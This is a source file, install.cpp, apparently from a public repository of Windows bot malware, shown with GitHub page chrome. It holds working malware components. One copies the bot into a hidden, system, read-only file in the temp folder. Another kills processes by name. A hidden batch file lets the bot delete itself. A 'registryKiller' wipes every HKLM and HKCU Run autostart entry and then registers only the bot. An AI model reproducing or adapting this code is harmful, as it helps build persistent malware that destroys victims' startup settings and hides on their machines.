-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathinstall.cpp
197 lines (163 loc) · 5.57 KB
/
install.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#include "includes.h"
#include "externs.h"
BOOL MoveBot(char *MTP, char *Bname)
{
char CurrentPath[MAX_PATH],CurrentPathF[MAX_PATH],MoveToPathF[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL),CurrentPathF,sizeof(CurrentPathF));
_snprintf(MoveToPathF,sizeof(MoveToPathF),"%s\\%s",MTP,Bname);
strcpy(CurrentPath,CurrentPathF);
PathRemoveFileSpec(CurrentPath);
char buf3[260],windir[260];
GetTempPath(sizeof(windir),windir); //Did get windows directory
GetModuleFileName(NULL,buf3,MAX_PATH);
if (lstrcmpi(CurrentPathF,MoveToPathF))
{
if (GetFileAttributes(MoveToPathF) != DWORD(-1))
SetFileAttributes(MoveToPathF,FILE_ATTRIBUTE_NORMAL);
// loop only once to make sure the file is copied.
BOOL bFileCheck=FALSE;
BOOL bCFRet=FALSE;
while ((bCFRet=CopyFile(CurrentPathF,MoveToPathF, FALSE)) == FALSE)
{
DWORD result = GetLastError();
if (!bFileCheck && (result == ERROR_SHARING_VIOLATION || result == ERROR_ACCESS_DENIED))
{
bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
Sleep(15000);
}
else
break;
}
//SetFileTime(MoveToPathF);
SetFileAttributes(MoveToPathF,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);
if (bCFRet)
{
return TRUE;
}
}
else
{
}
return FALSE;
}
int killproc(char* exename) // Kill process by name
{
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
char execute[256];
_snprintf(execute, sizeof(execute),"taskkill /IM %s",exename);
CreateProcess(NULL, execute, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
return 1;
}
////////////////////////////////////////////////////////////////
void uninstall(BOOL nopause/*=FALSE*/)
{
char buffer[1024], cpbot[MAX_PATH], batfile[MAX_PATH];
HANDLE f;
DWORD r;
GetTempPath(sizeof(buffer), buffer);
GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot));// get our file name
sprintf(batfile, "%s\\removeMe%i%i%i%i.bat",buffer,rand()%9,rand()%9,rand()%9,rand()%9);
SetFileAttributes(cpbot,FILE_ATTRIBUTE_NORMAL);
f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f > (HANDLE)0) {
// write a batch file to remove our executable once we close.
// the ping is there to slow it down in case the file cant get erased,
// dont wanna rape the cpu.
char delBatch[512];
if (!nopause)
{
sprintf(delBatch,
"@echo off\r\n"
":Repeat\r\n"
"del \"%s\">nul\r\n"
"ping 1.1.1.1 -w 5000 >nul\r\n"
"if exist \"%s\" goto Repeat\r\n"
"del \"%%0\"\r\n",cpbot,cpbot,cpbot);
}
else
{
sprintf(delBatch,
"@echo off\r\n"
":Repeat\r\n"
"del \"%s\">nul\r\n"
"if exist \"%s\" goto Repeat\r\n"
"del \"%%0\"\r\n",cpbot,cpbot,cpbot);
}
WriteFile(f, delBatch, strlen(delBatch), &r, NULL);
CloseHandle(f);
// execute the batch file
ShellExecute(NULL, NULL, batfile, NULL, NULL, SW_HIDE);
WSACleanup();
ExitProcess(0);
}
return;
}
//Registry killer
HKEY hk;
HKEY hk2;
HKEY hndKey;
char BOT_DIR[40];
char cpbot[MAX_PATH];
char movetopath[MAX_PATH];
char spath[MAX_PATH];
void registryKiller()
{
GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot));
ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath));
sprintf(spath,"%s\\%s",movetopath,exename);
wsprintf(BOT_DIR, "%s",spath);
RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);//HKLM Clear. -- JynX
RegCloseKey(hk);
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk2);//HCKU Clear. -- JynX
RegCloseKey(hk2);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
RegSetValueEx(hndKey,szRegname,0, REG_SZ, (const unsigned char *)BOT_DIR, strlen(BOT_DIR));
RegCloseKey(hndKey);//HKLM Re-add. -- JynX
RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
RegSetValueEx(hndKey,szRegname,0, REG_SZ, (const unsigned char *)BOT_DIR, strlen(BOT_DIR));
RegCloseKey(hndKey);//HKCU Re-add. -- JynX
RegCloseKey(hndKey);//Was causing a memory leak... -fixed --JynX
}
HANDLE GetProcessHandle(LPSTR szExeName)
{
PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if(Process32First(hSnapshot, &Pc)){
do{
if(!strcmp(Pc.szExeFile, szExeName)) {
return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);
}
}while(Process32Next(hSnapshot, &Pc));
}
return NULL;
}
//Is the bot new?
bool IsNew()
{
char tmppath[MAX_PATH];
ExpandEnvironmentStrings(gotopth,tmppath,sizeof(tmppath));
char* str = "";
wsprintf(str, "\\google_cache%s.tmp",installrand);
strcat(tmppath,str);
DWORD dwAttributes = GetFileAttributes(tmppath);
if(dwAttributes == 0xffffffff)
{
FILE* hFile = fopen(tmppath, "wb");
if(hFile)
{
fprintf(hFile,"website=1");
fclose(hFile);
return TRUE;
}
}
return FALSE;
}